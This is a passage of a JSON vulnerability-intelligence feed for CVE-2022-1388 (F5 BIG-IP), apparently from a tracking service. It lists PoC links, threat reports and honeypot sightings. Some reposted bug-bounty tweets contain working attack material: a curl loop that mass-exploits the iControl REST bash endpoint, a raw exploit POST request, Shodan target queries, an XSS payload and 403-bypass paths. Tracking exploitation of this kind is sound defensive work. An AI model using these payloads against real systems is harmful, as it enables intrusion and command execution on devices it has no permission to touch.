BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech\n2022.09.30/Amazon\u2011themed campaigns of Lazarus in the Netherlands and Belgium\n2022.10.11/The Russian SpyAgent (Teamspy) \u2013 a Decade Later and RAT Tools Remain at Risk\n2022.10.12/WIP19 Espionage | New Chinese APT Targets IT Service Providers and Telcos With Signed Malware\n2022.10.12/Winnti APT group docks in Sri Lanka for new campaign\n2022.10.13/Budworm: Espionage Group Returns to Targeting U.S. Organizations\n2022.10.13/Alchimist: A new attack framework in Chinese for Mac, Linux and Windows\n2022.10.14/New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland\n2022.10.17/DiceyF deploys GamePlayerFramework in online casino development studio\n2022.10.18/Unknown Actor: Powershell Backdoor disguising itself as part of a Windows update process\n2022.10.18/Spyder Loader: Malware Seen in Recent Campaign Targeting Organizations in Hong Kong (Winnti)\n2022.10.20/Domestic Kitten campaign spying on Iranian citizens with new FurBall malware\n2022.10.21/WarHawk: the New Backdoor in the Arsenal of the SideWinder APT Group\n\nCheck it out here: https://vx-underground.org/malware.html", "creation_timestamp": "2022-10-23T13:37:25.000000Z"}, {"uuid": "f09ec463-d6f8-4467-8c3a-f5bc5af90c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "Telegram/5bRz0_95f_9ZOs2D4-KvUSqehN_Sr5GPomGKCAnkVFAzrr79", "content": "", "creation_timestamp": "2022-05-14T13:36:16.000000Z"}, {"uuid": "f4d9c2f3-7302-4481-af09-57c3c63c5437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/5952", "content": "#exploit\n1. CVE-2022-1388:\nBIG-IP F5 iControl REST vulnerability\nhttps://github.com/numanturle/CVE-2022-1388\nhttps://github.com/nvk0x/CVE-2022-1388-exploit\n\n2. CVE-2022-1040:\nSophos XG Firewall Authentication bypass\nhttps://blog.viettelcybersecurity.com/cve-2022-1040-sophos-xg-firewall-authentication-bypass\n]-> https://github.com/cve-hunter/CVE-2022-1040-sophos-rce", "creation_timestamp": "2024-01-04T07:56:36.000000Z"}, {"uuid": "3aec5fae-7acd-4d2b-8dee-9add2491182c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/7395", "content": "#Analytics\nTop 10 most exploited vulnerabilities in 2022\n\n1. CVE-2022-30190: MS Office \"Follina\"\n2. CVE-2021-44228: Apache Log4Shell\n3. CVE-2022-22965: Spring4Shell\n4. CVE-2022-1388: F5 BIG-IP\n5. CVE-2022-0609: Google Chrome 0-day\n6. CVE-2017-11882: MS Office RCE\n7. CVE-2022-41082, CVE-2022-41040: ProxyNotShell\n8. CVE-2022-27925, CVE-2022-41352: Zimbra Collaboration Suite bugs\n9. CVE-2022-26134: Atlassian Confluence RCE\n10. CVE-2022-30525: Zyxel RCE vulnerability", "creation_timestamp": "2024-10-11T03:03:25.000000Z"}, {"uuid": "cfd52562-9076-48be-8732-5a4ca7d32b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/LearnExploit/4351", "content": "1. Follina (CVE-2022-30190)\n\n2. Log4Shell (CVE-2021-44228)\n\n3. Spring4Shell (CVE-2022-22965)\n\n4. F5 BIG-IP (CVE-2022-1388)\n\n5. Google Chrome zero-day (CVE-2022-0609)\n\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n\n10. Zyxel RCE vulnerability (CVE-2022-30525)\n\n#Exploit \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2023-01-04T10:02:38.000000Z"}, {"uuid": "089c091c-814a-42bf-9034-aae4b09b6b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-29T23:00:04.832505Z"}, {"uuid": "fdea5d5e-4beb-4f03-86c5-7e874a2b596f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-30T00:00:09.443802Z"}, {"uuid": "17f6433d-f20a-47da-bd0f-4b8223716b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/856", "content": "#BugBountyTips of the Day\nThis is the cutest video I've received from my #bugbounty friends. Thank you all for your wishes. Much love everyone. This community is AWESOME. \u2764\ufe0f  https://t.co/07aQXlgBw7\n---\nJust Tool for checking and exploit BIG-IP iControl REST vulnerability CVE-2022-1388 (RCE) mode: - single - mass  Link:  https://t.co/epzOzfkwnS LAB:  https://t.co/snsnEgMKpa  #CVE #CVE20221388 #F5 #bugbounty #bugbountytips #infosec #zeroday #0day  https://t.co/RlqQJs75Sy\n---\nHere is my first valid \"Exceptional\" report on @intigriti \ud83d\udd25  Found a public Jenkins instance with enabled /script (developer console). This means it runs directly RCE on the application.  shodan dork: ssl:target 200  http.title:\"Dashboard [Jenkins]\" #bugbounty #bugbountytips  https://t.co/2dvH1gRi64\n---\nUnauthorized  {\u201cid\u201d:111}\u27f6 401 Unauthorized {\u201cid\u201d:{\u201cid\u201d:111}} \u27f6 200 OK POST /api/get_profile Content-Type: application/json {\u201cuser_id\u201d:<attacker_id>,\u201duser_id\u201d:<victim\u2019s_id>} GET /api_v1/messages?user_id=VICTIM_ID \u27f6 401  #bugbounty #bugbountytips  1/n", "creation_timestamp": "2022-05-14T13:37:04.000000Z"}, {"uuid": "b1e7e088-1b8a-4b6e-a22f-62de648b20f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/894", "content": "#BugBountyTips of the Day\nA simple and an easy finding on @Hacker0x01   While fuzzing, server-status endpoint was forbidden (403)  Just added this header in request :   X-Forwarded-For: 127.0.0.1 and I was able to bypass the forbidden (403) url or page.  @ADITYASHENDE17  #bugbounty #togetherwehitharder  https://t.co/Ut6PGmFTky\n---\nNew web #pentesting video is live on the methodology of testing File Upload dialogues which can lead to stored HTML injection, XSS, XXE, SSRF, and RCE.  The goal is to bypass or trick the content \"restrictions\".   #bugbountytips #infosec #bugbounty   https://t.co/vSZ1Beg4JV\n---\nAlways wanted this \"Hacking Hackers\" badge. Finally got it !!  @Hacker0x01   Now Next goal is to participate in Live Hacking Events, hopefully I get a chance this year :)  #TogetherWeHitHarder #bugbounty #cybersecurity  https://t.co/aaY5IdLyhW\n---\nYay, I was awarded $200 bounty on @Hacker0x01   @ADITYASHENDE17  #bugbounty #togetherwehitharder  https://t.co/l9zE6zwKr2\n---\nCVE-2022-1388: F5 BIG-IP \ud83d\udd25   #infosec #bugbounty  https://t.co/UbXXvL9j9L", "creation_timestamp": "2022-06-10T13:37:04.000000Z"}, {"uuid": "1c30ab26-2cfb-426d-a30d-519537d0c4af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/858", "content": "#BugBountyTips of the Day\n(Forensicator - Powershell Script To Aid Live Forensics & Incidence Response) -  https://t.co/AgcfEBrdwF #infosec #netsec #pentest #cybersecurity #bugbounty  https://t.co/Q7cdVK2Lfs\n---\nActive Directory Privilege Escalation Hardening  #infosec #cybersecurity #cybersecuritytips  #pentesting #oscp #redteam  #informationsecurity  #cissp #CyberSec #networking #networksecurity #CheatSheet #infosecurity #bugbountytips  https://t.co/W0rlIDyhmB\n---\nIncident Response Cheat Sheet  #infosec #cybersecurity #cybersecuritytips  #pentesting #oscp #redteam  #informationsecurity  #cissp #CyberSec #networking #networksecurity #CheatSheet #infosecurity #bugbountytips  https://t.co/AEYuem3Tur\n---\n403 Forbidden bypass \ud83d\udd25\ud83d\udd25  GET /admin ==> 403 Forbidden GET /blablabal/%2e%2e/admin ==> 200 OK GET /blablabal/..;/admin ==> 200 OK  GET /blablabal/;/admin ==> 200 OK GET /blablabal/admin/..;/ ==> 200 OK GET /admin?access=1 ==> 200 OK   #bugbountytips #bugbountytip #bugbounty\n---\n\u2694\ufe0f List of Top 25 parameters for finding:  - XSS - SSRF - LFI - SQLi - RCE - Open Redirects   https://t.co/FP4Ykz63Tm  Useful for fuzzing.  #bugbounty #infosec #cybsersecurity #redteam #pentesting  https://t.co/6jP6ghzoIT\n---\nSome endpoint bypasses \u2705: #bugbountytips #infosec  https://t.co/pfEvLjTz2g\n---\nLog files to check for valuable information & clear  system logs. - Here is a small list of UNIX locations to modify/view while you're on a machine. - #CyberSecurity #infosec #CTF #bugbounty  https://t.co/NvvkZ719HZ\n---\nCVE-2022-30525 PoC  #bugbounty  https://t.co/x9gfuFeR9a\n---\n#infosec #bugbounty #redteam  https://t.co/fJq6T5nj5x\n---\n#PoC for CVE-2022-1388 is out, grab it here! Added #shodan query!   https://t.co/nX4FufMyI4   #bugbounty #bugbountytips #infosec #cybersecurity  https://t.co/BbYx6mkrSl\n---\nResolving at 22K qps from a single host. Not bad, uh?  This is from a second iteration of permutations and alterations using puredns and the @trick3st resolvers lists  #recon #hacking #bugbounty  https://t.co/9y1bHgAD4w", "creation_timestamp": "2022-05-16T13:37:05.000000Z"}, {"uuid": "1f77bf14-ffaa-48ae-86c6-75e1ade9f1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/852", "content": "#BugBountyTips of the Day\n#CVE-2022-1388: F5 BIG-IP is great \ud83d\udd25   #infosec #bugbounty  https://t.co/0lPNO9RVfa\n---\nNeed to resolve a massive list of subdomains, but the lack of enough resolvers is slowing you down?  Presenting the most exhaustive list of reliable DNS resolvers with more than 9000 validated nameservers!   https://t.co/LyWNpMb7Gq  #infosec #recon #bugbountytips #redteam\n---\nExploit F5 Big IP  Using Curl   CVE-2022-1388   cat ips.txt | while read ip; do curl -su admin -H \"Content-Type: application/json\"  http://$ip/mgmt/tm/util/bash -d '{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}';done  did i miss something ?   #bugbountytip  #bugbonty  #infosec  https://t.co/2QAxOCpI5C\n---\nF5 BIG-IP Remote Command Execution 401 bypass X-Forwarded-For: 127.0.0.1 #bugbountytip #bugbountytips #F5 #CyberSecurity  https://t.co/kqD5rTN1ri\n---\nScan for F5 BIG-IP iControl REST Auth Bypass RCE (CVE-2022-1388) using nuclei template shared by @dwisiswant0   Template PR:  https://t.co/SgK8VtT5PB  Advisory:  https://t.co/DIihNIfm4X  #hackwithautomation #security #bugbounty #appsec  https://t.co/DGjjpYK6Jj\n---\nIDOR is my favourite..\u2764\ufe0f I found another IDOR another with high severity. Just needed to change last one digit of organization id & was able send message to every user of other org.  #bugbounty #bugcrowd #pentest #informationsecurity  https://t.co/CfN9pM0wDL\n---\n#PoC for CVE-2022-1388 is out, grab it here! Added #shodan query!  https://t.co/grsBLUt8eL #bugbounty #bugbountytips #infosec #cybersecurity  https://t.co/WP8oje5Kh9\n---\nPOC, CVE-2022-1388  F5 Big-IP RCE #bugbounty #nday  https://t.co/VLt2UjEWkf\n---\n#CVE CVE-2022-1388 F5 BIG-IP Unauthenticated #RCE Vulnerability  #POC Use POST request to execute \"cat /etc/passwd\" command  #Shodan:   http.title:\"BIG-IP®-+Redirect\" +\"Server\"    #Nuclei:  https://t.co/p5gwsejbck  #Cyber #CyberSecurity #CyberAttack #InfoSec #Hacking #BugBounty  https://t.co/ob1znAKymd\n---\nCVE-2022-1388 #POC  POST /mgmt/tm/util/bash HTTP/1.1 Host:  https://t.co/0914iS1U74 Content-Length: 115 Connection: Keep-Alive Content-Length: 0 Cache-Control: max-age=0 X-F5-Auth-Token: Authorization: Basic YWRtaW46  { \"command\":\"run\", \"utilCmdArgs\":\"-c id\" }  #bugbounty #infosec\n---\n========= Master XSS   =========  Share this with your friends \ud83d\ude00  Tags: #cybersecurity #hacking #bugbounty #xss #masterXSS #infosec #offsec #labs  Check :\ud83e\uddf50/n \ud83d\udc47\n---\n\u270b Stop scrolling!  \ud83d\udc40 On the hunt for #BugBountyTips? \ud83d\udcdd: @alexander_pick  https://t.co/ShYkhK3SQP", "creation_timestamp": "2022-05-10T13:37:04.000000Z"}, {"uuid": "f27da7e6-2e08-4203-a983-ff94308434db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/854", "content": "#BugBountyTips of the Day\nBug: Stored XSS   Tried to input XSS payload through proxy.  Phone Number Field- Through Browser: Only Numeric Digits allowed (Alphabet and Special Characters Blocked)  Through Burp Proxy: 123\"><svg+onload=prompt(document.domain)> (Stored XSS)  #bugbounty #cybersecurity #pentest  https://t.co/fsBO67bRoT\n---\nI struggled with big scope targets so I started using Xmind's @Jhaddix  techniques 2 days ago.  So far: 1 P1 5 P3 (2 duplicated) 29 P4  Helps with your organization, your note process, and believe it or not, your overall understanding of the target!  Thanks @Jhaddix  #BugBounty  https://t.co/aMw8QOZAHV\n---\n\ud83d\udd25 Bug Hunter's Methodology: Application Hacking v1  #NahamCon2022 slides by @Jhaddix  * Tech profiling * Finding CVEs & misconfigs * Port scanning * Content discovery * Spidering * Analyzing JavaScript & params  +tons of tools for \u261d\ufe0f  #bugbountytips   https://t.co/ts4uSTr70I\n---\nAnd this is why I love FOSS, there are a couple of guys out there working on exciting new things for reconftw just for fun:  \ud83d\udd25 The desired web GUI for reconftw will become real \ud83d\udd25  Big shoutout to the authors @_luriel and @mx61tt   #reconftw #bugbounty #recon #hacking  https://t.co/JVfazKCBQM\n---\nQuick Recon \ud83d\udd25\ud83d\udd25 cat roots | assetfinder | naabu -silent -passive |  httpx -silent -nc -p 80,443,8080,8443,8888 | aquatone   https://t.co/hdOk5rvwYV #bugbountytips #bugbountytip #bugbounty\n---\nA few days ago I wrote about my recent finding. Worth $4000. I was not active on Twitter so sharing today #bugbounty  https://t.co/oUBEDLNcFP\n---\nIOS Pentesting resources- ## General - Blogs, Papers and Books   - [Basic iOS Apps Security Testing lab]( https://t.co/rDYzwaE0j6) - [IOS Application security \u2013 Setting up a mobile pentesting platform]( https://t.co/bYEP8m5XsB)  #bugbounty #bugbountytips  1/n\n---\nHave you ever get bounty by using default credentials?  Read this thread \ud83d\udd25    #bugbountytips   \ud83e\uddf5\ud83d\udc47\ud83c\udffb\n---\n https://t.co/5dlSaaMmjg  #bugbountytips #bugbounty #infosec\n---\nExploited F5 BIG-IP CVE-2022-1388 (RCE Vulnerability) Will share the steps soon!  #bugbounty #infosec #cybersecurity  https://t.co/C38epKnf2B", "creation_timestamp": "2022-05-12T13:37:04.000000Z"}, {"uuid": "b367e45b-1a27-4f6e-8931-1b5c36dc38bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "5bf74a2e-0fb0-457c-82d2-279284b01f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3302", "content": "Finding Something New About CVE-2022-1388 https://vulncheck.com/blog/new-cve-2022-1388", "creation_timestamp": "2026-08-02T18:00:04.513989Z"}, {"uuid": "6c280e16-5533-467d-97c0-420534a202b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-21)", "content": "", "creation_timestamp": "2026-05-21T00:00:00.000000Z"}, {"uuid": "3b1501b8-d3e8-4db5-9e13-b9fa2ccf929e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "9684cae7-0888-48c3-959a-32b86234467c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/DLnNoVtzkKpaISUXUkLWV-lLykLZh1vUJggJSeJFUc9GRQI", "content": "", "creation_timestamp": "2026-08-16T19:00:04.224748Z"}, {"uuid": "abc90333-12de-4294-9ecc-edc51dd0c5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/DLnNoVtzkKpaISUXUkLWV-lLykLZh1vUJggJSeJFUc9GRQI", "content": "", "creation_timestamp": "2026-08-17T00:00:11.348312Z"}, {"uuid": "52ece617-b161-4f86-97bc-5cd40a4c9640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://bsky.app/profile/golangoss.bsky.social/post/3mn37pvf2mg2w", "content": "F5-BIG-IP-POC (\u2b50\ufe0f 10)\n\nCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\n\n#go", "creation_timestamp": "2026-05-30T14:03:25.981548Z"}, {"uuid": "f2019139-b555-424b-86da-2f791136d969", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f4bdb7e9-5389-468d-a61e-cc21419bef2e", "content": "", "creation_timestamp": "2026-06-19T12:47:16.393514Z"}, {"uuid": "103c3ecc-7f8b-4453-9bd7-36507e4adf4e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/03f75575-ff73-4df9-8821-24cc37e91bb4", "content": "", "creation_timestamp": "2026-06-23T14:05:21.617331Z"}, {"uuid": "33e10c88-ab31-4e7c-8d0f-3ffcc5d4bd30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-23)", "content": "", "creation_timestamp": "2026-06-23T00:00:00.000000Z"}, {"uuid": "c8a77cef-6f43-4668-9a11-c29017ebc03c", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/80d7759b-0d48-4e8f-8193-20ac39c9c99a", "content": "", "creation_timestamp": "2026-06-30T09:23:03.553281Z"}, {"uuid": "d2212b7f-796c-4cac-b245-d18f7440b3fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:15:12.474910Z"}, {"uuid": "e9d38d5b-736e-4a18-91b6-5fffe788dd00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "content": "", "creation_timestamp": "2026-07-13T10:15:08.078037Z"}, {"uuid": "84a979b5-694f-4042-8c4c-cf962559bfad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/c6bff539-f10a-42a7-bc8e-83795d457e7a", "content": "", "creation_timestamp": "2026-07-16T12:15:03.473070Z"}, {"uuid": "fd30bc55-c01c-4a0e-b6dd-d8e4f404d102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/211", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-1388\nGithub: https://github.com/Vulnmachines/F5-Big-IP-CVE-2022-1388\nDescribe: \nOn F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated", "creation_timestamp": "2026-07-18T18:00:04.240007Z"}, {"uuid": "d5db8c28-6968-4592-8952-cfe90353e5f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/211", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-1388\nGithub: https://github.com/Vulnmachines/F5-Big-IP-CVE-2022-1388\nDescribe: \nOn F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated", "creation_timestamp": "2026-07-19T00:00:10.747421Z"}, {"uuid": "9aa63e4f-692d-4516-984e-a511b7682a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-19)", "content": "", "creation_timestamp": "2026-07-20T10:15:08.794291Z"}, {"uuid": "c899c7f5-7270-486e-b2a7-e900161c2bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-20)", "content": "", "creation_timestamp": "2026-07-21T10:16:16.873071Z"}, {"uuid": "c0cff547-ac21-492a-a0ee-7c0f6719507f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/16884", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study*\nGithub: https://github.com/SudeepaShiranthaka/F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study", "creation_timestamp": "2026-07-29T12:00:15.867096Z"}, {"uuid": "019ea0aa-5428-43b8-bce2-9212968db999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/13249", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/OnCyberWar/CVE-2022-1388", "creation_timestamp": "2026-07-29T12:00:30.680633Z"}, {"uuid": "25f0ba69-7837-46c4-b3dd-7ccf86f7ac57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/12646", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/Zeyad-Azima/CVE-2022-1388", "creation_timestamp": "2026-07-29T12:00:31.529511Z"}, {"uuid": "4f248e92-8203-41f1-8417-715c32033361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/3302", "content": "Finding Something New About CVE-2022-1388 https://vulncheck.com/blog/new-cve-2022-1388", "creation_timestamp": "2026-07-29T12:02:30.181957Z"}, {"uuid": "5ceaf516-b912-4d1b-a006-f8b50e3827c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/2768", "content": "F5 BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech \u2013 JPCERT/CC Eyes https://blueteam.news/f5-big-ip-vulnerability-cve-2022-1388-exploited-by-blacktech-jpcert-cc-eyes", "creation_timestamp": "2026-07-29T12:02:38.298085Z"}, {"uuid": "ed82e393-f71c-4e21-9e64-0452e6ea3064", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/reverseame/2408", "content": "Vulnerability Analysis \u2013 CVE-2022-1388 https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/", "creation_timestamp": "2026-07-29T12:02:41.366418Z"}, {"uuid": "9beb801c-94cc-4a00-87a9-1afadc42345d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/16884", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study*\nGithub: https://github.com/SudeepaShiranthaka/F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study", "creation_timestamp": "2026-07-30T00:00:35.142875Z"}, {"uuid": "f8064556-df44-4325-b902-5134c64fd051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/12646", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/Zeyad-Azima/CVE-2022-1388", "creation_timestamp": "2026-07-30T00:00:57.132756Z"}, {"uuid": "5916c01b-c7e4-4edb-a8fa-463edc7689a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CVEhub/13249", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/OnCyberWar/CVE-2022-1388", "creation_timestamp": 